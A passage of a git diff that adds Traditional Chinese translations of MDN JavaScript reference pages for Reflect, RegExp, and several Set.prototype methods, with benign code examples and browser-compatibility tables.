index 0000000000..4f1d980a0d
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/reflect/index.html
@@ -0,0 +1,130 @@
+---
+title: Reflect
+slug: Web/JavaScript/Reference/Global_Objects/Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect
+---
+<div>{{JSRef}}</div>
+
+<p><strong>Reflect</strong> 是一個內建物件，提供了用於獲取可截取之 JavaScript 操作的方法。這些方法與 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">proxy handlers</a> 的方法相同。<code>Reflect</code> 不是一個函式物件，因此它是不可建構的。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>Unlike most global objects, <code>Reflect</code> is not a constructor. You can not use it with a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a> or invoke the <code>Reflect</code> object as a function. All properties and methods of <code>Reflect</code> are static (just like the {{jsxref("Math")}} object).</p>
+
+<h2 id="方法">方法</h2>
+
+<p>The <code>Reflect</code> object provides the following static functions which have the same names as the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">proxy handler methods</a>. Some of these methods are the same as corresponding methods on {{jsxref("Object")}}.</p>
+
+<dl>
+ <dt>{{jsxref("Reflect.apply()")}}</dt>
+ <dd>Calls a target function with arguments as specified by the <code>args</code> parameter. See also {{jsxref("Function.prototype.apply()")}}.</dd>
+ <dt>{{jsxref("Reflect.construct()")}}</dt>
+ <dd> The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a> as a function. Equivalent to calling <code>new target(...args)</code>.</dd>
+ <dt>{{jsxref("Reflect.defineProperty()")}}</dt>
+ <dd>Similar to {{jsxref("Object.defineProperty()")}}. Returns a {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.deleteProperty()")}}</dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> operator</a> as a function. Equivalent to calling <code>delete target[name]</code>.</dd>
+ <dt>{{jsxref("Reflect.get()")}}</dt>
+ <dd>A function that returns the value of properties.</dd>
+ <dt>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Similar to {{jsxref("Object.getOwnPropertyDescriptor()")}}. Returns a property descriptor of the given property if it exists on the object,  {{jsxref("undefined")}} otherwise.</dd>
+ <dt>{{jsxref("Reflect.getPrototypeOf()")}}</dt>
+ <dd>Same as {{jsxref("Object.getPrototypeOf()")}}.</dd>
+ <dt>{{jsxref("Reflect.has()")}}</dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> operator</a> as function. Returns a boolean indicating whether an own or inherited property exists.</dd>
+ <dt>{{jsxref("Reflect.isExtensible()")}}</dt>
+ <dd>Same as {{jsxref("Object.isExtensible()")}}.</dd>
+ <dt>{{jsxref("Reflect.ownKeys()")}}</dt>
+ <dd>Returns an array of the target object's own (not inherited) property keys.</dd>
+ <dt>{{jsxref("Reflect.preventExtensions()")}}</dt>
+ <dd>Similar to {{jsxref("Object.preventExtensions()")}}. Returns a {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.set()")}}</dt>
+ <dd>A function that assigns values to properties. Returns a {{jsxref("Boolean")}} that is <code>true</code> if the update was successful.</dd>
+ <dt>{{jsxref("Reflect.setPrototypeOf()")}}</dt>
+ <dd>A function that sets the prototype of an object.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect-object', 'Reflect')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect-object', 'Reflect')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Reflect.enumerate has been removed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{jsxref("Proxy")}} global object.</li>
+ <li>The {{jsxref("Proxy.handler", "handler")}} object.</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/regexp/index.html b/files/zh-tw/web/javascript/reference/global_objects/regexp/index.html
new file mode 100644
index 0000000000..7bf77316e2
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/regexp/index.html
@@ -0,0 +1,269 @@
+---
+title: RegExp
+slug: Web/JavaScript/Reference/Global_Objects/RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p><strong><code>RegExp</code></strong> 物件被用來比對符合自訂規則的文字。</p>
+
+<p>關於正規表達式(regular expressions)的介紹，可以閱讀 <a href="/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 指南</a>中的 <a href="/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions">正規表達式章節</a>。</p>
+
+<h2 id="說明">說明</h2>
+
+<p>建立 <code>RegExp</code> 物件有兩種方式：<em>文字表示法 (literal notation)</em> 和 <em>建構子 (constructor)。</em></p>
+
+<ul>
+ <li><strong>文字表示法</strong> 的參數，頭尾以斜線標註，且不使用引號標註。</li>
+ <li><strong>建構子函式</strong> 的參數，頭尾不以斜線標註，但使用引號標註。</li>
+</ul>
+
+<p>以下的表達式會建立出相同的正規表達式:</p>
+
+<pre class="brush: js">/ab+c/i
+new RegExp(/ab+c/, 'i') // literal notation
+new RegExp('ab+c', 'i') // constructor
+</pre>
+
+<p>The literal notation provides a compilation of the regular expression when the expression is evaluated. Use literal notation when the regular expression will remain constant. For example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each iteration.</p>
+
+<p>The constructor of the regular expression object—for example, <code>new RegExp('ab+c')</code>—provides runtime compilation of the regular expression. Use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it from another source, such as user input.</p>
+
+<p>Starting with ECMAScript 6, <code>new RegExp(/ab+c/, 'i')</code> no longer throws a {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") when the first argument is a <code>RegExp</code> and the second <code><var>flags</var></code> argument is present. A new <code>RegExp</code> from the arguments is created instead.</p>
+
+<p>When using the constructor function, the normal string escape rules (preceding special characters with <code>\</code> when included in a string) are necessary.</p>
+
+<p>For example, the following are equivalent:</p>
+
+<pre class="brush: js">let re = /\w+/
+let re = new RegExp('\\w+')
+</pre>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/RegExp">RegExp()</a></code></dt>
+ <dd>Creates a regular expression object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>RegExp.prototype</code></dt>
+ <dd>Allows the addition of properties to all objects.</dd>
+ <dt><code>RegExp.length</code></dt>
+ <dd>The value of <code>RegExp.length</code> is <code>2</code>.</dd>
+ <dt>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}</dt>
+ <dd>The constructor function that is used to create derived objects.</dd>
+ <dt>{{jsxref("RegExp.lastIndex")}}</dt>
+ <dd>The index at which to start the next match.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>The global <code>RegExp</code> object has no methods of its own. However, it does inherit some methods through the prototype chain.</p>
+
+<h2 id="RegExp_prototype_objects_and_instances"><code>RegExp</code> prototype objects and instances</h2>
+
+<h3 id="Properties_2">Properties</h3>
+
+<div>
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties">deprecated <code>RegExp</code> properties.</a></p>
+
+<p>Note that several of the {{JSxRef("RegExp")}} properties have both long and short (Perl-like) names. Both names always refer to the same value. Perl is the programming language from which JavaScript modeled its regular expressions.</p>
+
+<dl>
+ <dt><code>RegExp.prototype.constructor</code></dt>
+ <dd>Specifies the function that creates an object's prototype.</dd>
+ <dt>{{JSxRef("RegExp.prototype.flags")}}</dt>
+ <dd>A string that contains the flags of the <code>RegExp</code> object.</dd>
+ <dt>{{JSxRef("RegExp.prototype.dotAll")}}</dt>
+ <dd>Whether <code>.</code> matches newlines or not.</dd>
+ <dt>{{JSxRef("RegExp.prototype.global")}}</dt>
+ <dd>Whether to test the regular expression against all possible matches in a string, or only against the first.</dd>
+ <dt>{{JSxRef("RegExp.prototype.ignoreCase")}}</dt>
+ <dd>Whether to ignore case while attempting a match in a string.</dd>
+ <dt>{{JSxRef("RegExp.prototype.multiline")}}</dt>
+ <dd>Whether or not to search in strings across multiple lines.</dd>
+ <dt>{{JSxRef("RegExp.prototype.source")}}</dt>
+ <dd>The text of the pattern.</dd>
+ <dt>{{JSxRef("RegExp.prototype.sticky")}}</dt>
+ <dd>Whether or not the search is sticky.</dd>
+ <dt>{{JSxRef("RegExp.prototype.unicode")}}</dt>
+ <dd>Whether or not Unicode features are enabled.</dd>
+</dl>
+</div>
+
+<h3 id="Methods_2">Methods</h3>
+
+<div>
+<dl>
+ <dt>{{JSxRef("RegExp.prototype.compile()")}}</dt>
+ <dd>(Re-)compiles a regular expression during execution of a script.</dd>
+ <dt>{{JSxRef("RegExp.prototype.exec()")}}</dt>
+ <dd>Executes a search for a match in its string parameter.</dd>
+ <dt>{{JSxRef("RegExp.prototype.test()")}}</dt>
+ <dd>Tests for a match in its string parameter.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</dt>
+ <dd>Performs match to given string and returns match result.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@matchAll()", "RegExp.prototype[@@matchAll]()")}}</dt>
+ <dd>Returns all matches of the regular expression against a string.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</dt>
+ <dd>Replaces matches in given string with new substring.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</dt>
+ <dd>Searches the match in given string and returns the index the pattern found in the string.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</dt>
+ <dd>Splits given string into an array by separating the string into substring.</dd>
+ <dt>{{JSxRef("RegExp.prototype.toSource()")}}</dt>
+ <dd>Returns an object literal representing the specified object; you can use this value to create a new object. Overrides the {{JSxRef("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{JSxRef("RegExp.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the specified object. Overrides the {{JSxRef("Object.prototype.toString()")}} method.</dd>
+</dl>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_a_regular_expression_to_change_data_format">Using a regular expression to change data format</h3>
+
+<p>The following script uses the {{jsxref("String.prototype.replace()", "replace()")}} method of the {{jsxref("Global_Objects/String", "String")}} instance to match a name in the format <em>first last</em> and output it in the format <em>last, first</em>.</p>
+
+<p>In the replacement text, the script uses <code>$1</code> and <code>$2</code> to indicate the results of the corresponding matching parentheses in the regular expression pattern.</p>
+
+<pre class="brush: js">let re = /(\w+)\s(\w+)/
+let str = 'John Smith'
+let newstr = str.replace(re, '$2, $1')
+console.log(newstr)
+</pre>
+
+<p>This displays <code>"Smith, John"</code>.</p>
+
+<h3 id="Using_regular_expression_to_split_lines_with_different_line_endingsends_of_lineline_breaks">Using regular expression to split lines with different <strong>line endings/ends of line/line breaks</strong></h3>
+
+<p>The default line ending varies depending on the platform (Unix, Windows, etc.). The line splitting provided in this example works on all platforms.</p>
+
+<pre class="brush: js">let text = 'Some text\nAnd some more\r\nAnd yet\rThis is the end'
+let lines = text.split(/\r\n|\r|\n/)
+console.log(lines) // logs [ 'Some text', 'And some more', 'And yet', 'This is the end' ]
+</pre>
+
+<p>Note that the order of the patterns in the regular expression matters.</p>
+
+<h3 id="Using_regular_expression_on_multiple_lines">Using regular expression on multiple lines</h3>
+
+<pre class="brush: js">let s = 'Please yes\nmake my day!'
+
+s.match(/yes.*day/);
+// Returns null
+
+s.match(/yes[^]*day/);
+// Returns ["yes\nmake my day"]
+</pre>
+
+<h3 id="Using_a_regular_expression_with_the_sticky_flag">Using a regular expression with the sticky flag</h3>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky">sticky flag</a> indicates that the regular expression performs sticky matching in the target string by attempting to match starting at {{jsxref("RegExp.prototype.lastIndex")}}.</p>
+
+<pre class="brush: js">let str = '#foo#'
+let regex = /foo/y
+
+regex.lastIndex = 1
+regex.test(str)      // true
+regex.lastIndex = 5
+regex.test(str)      // false (lastIndex is taken into account with sticky flag)
+regex.lastIndex      // 0 (reset after match failure)</pre>
+
+<h3 id="The_difference_between_the_sticky_flag_and_the_global_flag">The difference between the sticky flag and the global flag</h3>
+
+<p>With the sticky flag y, the next match has to happen at the lastIndex position, while with the global flag g, the match can happen at the lastIndex position or later:</p>
+
+<pre class="brush: js">re = /\d/y;
+while (r = re.exec("123 456")) console.log(r, "AND re.lastIndex", re.lastIndex);
+
+// [ '1', index: 0, input: '123 456', groups: undefined ] AND re.lastIndex 1
+// [ '2', index: 1, input: '123 456', groups: undefined ] AND re.lastIndex 2
+// [ '3', index: 2, input: '123 456', groups: undefined ] AND re.lastIndex 3
+//   ... and no more match.</pre>
+
+<p>With the global flag g, all 6 digits would be matched, not just 3.</p>
+
+<h3 id="Regular_expression_and_Unicode_characters">Regular expression and Unicode characters</h3>
+
+<p>As mentioned above, <code>\w</code> or <code>\W</code> only matches ASCII based characters; for example, <code>a</code> to <code>z</code>, <code>A</code> to <code>Z</code>, <code>0</code> to <code>9</code>, and <code>_</code>.</p>
+
+<p>To match characters from other languages such as Cyrillic or Hebrew, use <code>\u<var>hhhh</var></code>, where <code><var>hhhh</var></code> is the character's Unicode value in hexadecimal.</p>
+
+<p>This example demonstrates how one can separate out Unicode characters from a word.</p>
+
+<pre class="brush: js">let text = 'Образец text на русском языке'
+let regex = /[\u0400-\u04FF]+/g
+
+let match = regex.exec(text)
+console.log(match[0])        // logs 'Образец'
+console.log(regex.lastIndex) // logs '7'
+
+let match2 = regex.exec(text)
+console.log(match2[0])       // logs 'на' [did not log 'text']
+console.log(regex.lastIndex) // logs '15'
+
+// and so on
+</pre>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">Unicode property escapes</a> feature introduces a solution, by allowing for a statement as simple as <code>\p{scx=Cyrl}</code>. One can also use an external resource for getting the complete Unicode block range for different scripts, such as <a href="http://kourge.net/projects/regexp-unicode-block">Regexp-Unicode-block</a>.</p>
+
+<h3 id="Extracting_sub-domain_name_from_URL">Extracting sub-domain name from URL</h3>
+
+<pre class="brush: js">let url = 'http://xxx.domain.com'
+console.log(/[^.]+/.exec(url)[0].substr(7)) // logs 'xxx'
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp")}}</p>
+</div>
+
+<h3 id="Firefox-specific_notes">Firefox-specific notes</h3>
+
+<p>Starting with Firefox 34, in the case of a capturing group with quantifiers preventing its exercise, the matched text for a capturing group is now <code>undefined</code> instead of an empty string:</p>
+
+<pre class="brush: js">// Firefox 33 or older
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+});
+// 'group:'
+
+// Firefox 34 or newer
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+});
+// 'group:undefined'
+</pre>
+
+<p>Note that due to web compatibility, <code>RegExp.$N</code> will still return an empty string instead of <code>undefined</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1053944">bug 1053944</a>).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/add/index.html b/files/zh-tw/web/javascript/reference/global_objects/set/add/index.html
new file mode 100644
index 0000000000..b0a85a0a06
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/set/add/index.html
@@ -0,0 +1,83 @@
+---
+title: Set.prototype.add()
+slug: Web/JavaScript/Reference/Global_Objects/Set/add
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - 原型
+  - 參考
+  - 方法
+  - 集合
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/add
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>add()</strong></code> 會在一個 <code>Set</code> 物件的尾端加上一個指定 <code>value</code> 的新元素。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-add.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.add(<em>value</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>要被加到 <code>Set</code> 物件中的值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p><code>Set</code> 物件本身。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_add_方法">使用 <code>add</code> 方法</h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5).add('some text'); // chainable
+
+console.log(mySet);
+// Set [1, 5, "some text"]
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.add")}}</p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+ <li>{{jsxref("Set.prototype.has()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/clear/index.html b/files/zh-tw/web/javascript/reference/global_objects/set/clear/index.html
new file mode 100644
index 0000000000..2eb8875c34
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/set/clear/index.html
@@ -0,0 +1,79 @@
+---
+title: Set.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Set/clear
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - 原型
+  - 參考
+  - 方法
+  - 集合
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>clear()</strong></code> 方法會從一個 <code>Set</code> 物件中移除其所有元素。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-clear.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.clear();</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_clear_方法">使用 <code>clear</code> 方法</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add('foo');
+
+mySet.size;       // 2
+mySet.has('foo'); // true
+
+mySet.clear();
+
+mySet.size;       // 0
+mySet.has('bar')  // false
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.clear")}}</p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/delete/index.html b/files/zh-tw/web/javascript/reference/global_objects/set/delete/index.html
new file mode 100644
index 0000000000..d465f45bef
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/set/delete/index.html
@@ -0,0 +1,98 @@
+---
+title: Set.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Set/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - 原型
+  - 參考
+  - 方法
+  - 集合
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>delete()</strong></code> 方法會一個 <code>Set</code> 物件中移除指定元素。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-delete.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.delete(<em>value</em>);</pre>
+
+<h3 id="參數'">參數'</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>要從 <code>Set</code> 物件中移除的值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p><code>true</code> 如果成功從 <code>Set</code> 物件中移除；反之 <code>false</code>。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_delete_方法">使用 <code>delete</code> 方法</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.delete('bar'); // Returns false. No "bar" element found to be deleted.
+mySet.delete('foo'); // Returns true.  Successfully removed.
+
+mySet.has('foo');    // Returns false. The "foo" element is no longer present.
+</pre>
+
+<p>下方展示了如何從一個 Set 中移除物件。</p>
+
+<pre class="brush: js">var setObj = new Set(); // Create a New Set.
+
+setObj.add({x: 10, y: 20}); // Add object in the set.
+
+setObj.add({x: 20, y: 30}); // Add object in the set.
+
+// Delete any point with `x &gt; 10`.
+setObj.forEach(function(point){
+  if(point.x &gt; 10){
+    setObj.delete(point)
+  }
+})
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.delete")}}</p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.clear()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/entries/index.html b/files/zh-tw/web/javascript/reference/global_objects/set/entries/index.html
new file mode 100644
index 0000000000..6bf609afb2
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/set/entries/index.html
@@ -0,0 +1,78 @@
+---
+title: Set.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Set/entries
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - 原型
+  - 方法
+  - 迭代器
+  - 集合
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/entries
+---
+<div>{{JSRef}}</div>
+
+<div><code><strong>entries()</strong></code> 方法回傳一個 <code>Iterator</code> 物件，其包含著一個由插入順序排序，<code>Set</code> 物件中每個元素的<strong> <code>[value, value]</code></strong> 陣列。儘管對 <code>Set</code> 物件來說沒有像 <code>Map</code> 一樣的 <code>key</code> 概念，為了確保這個 API 運作的與 <code>Map</code> 相似，每個 <em>entry</em> 都有同樣的值同時作為其 <em>key</em> 和 <em>value</em> ，因此回傳的是一個<strong><code>[value, value]</code></strong> 的陣列。</div>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-entries.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.entries()</code></pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 <code>Iterator</code> 物件，包含著一個由插入順序排序，<code>Set</code> 物件中每個元素的<strong> <code>[value, value]</code></strong> 陣列。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_entries()">使用 <code>entries()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foobar');
+mySet.add(1);
+mySet.add('baz');
+
+var setIter = mySet.entries();
+
+console.log(setIter.next().value); // ["foobar", "foobar"]
+console.log(setIter.next().value); // [1, 1]
+console.log(setIter.next().value); // ["baz", "baz"]
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.entries")}}</p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.keys()")}}</li>
+ <li>{{jsxref("Set.prototype.values()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/has/index.html b/files/zh-tw/web/javascript/reference/global_objects/set/has/index.html
new file mode 100644
index 0000000000..c77d2ea99b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/set/has/index.html
@@ -0,0 +1,92 @@
+---
+title: Set.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/Set/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - 原型
+  - 方法
+  - 集合
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/has
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>has()</strong></code> 方法對一個指定值元素在 <code>Set</code> 物件中的存在與否回傳一個布林值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-has.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.has(<em>value</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>要測試是否存在在 <code>Set</code> 中的值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>回傳 <code>true</code> 如果給定值存在在 <code>Set</code> 物件中；反之回傳 <code>false</code> 。</p>
+
+<div class="blockIndicator note">
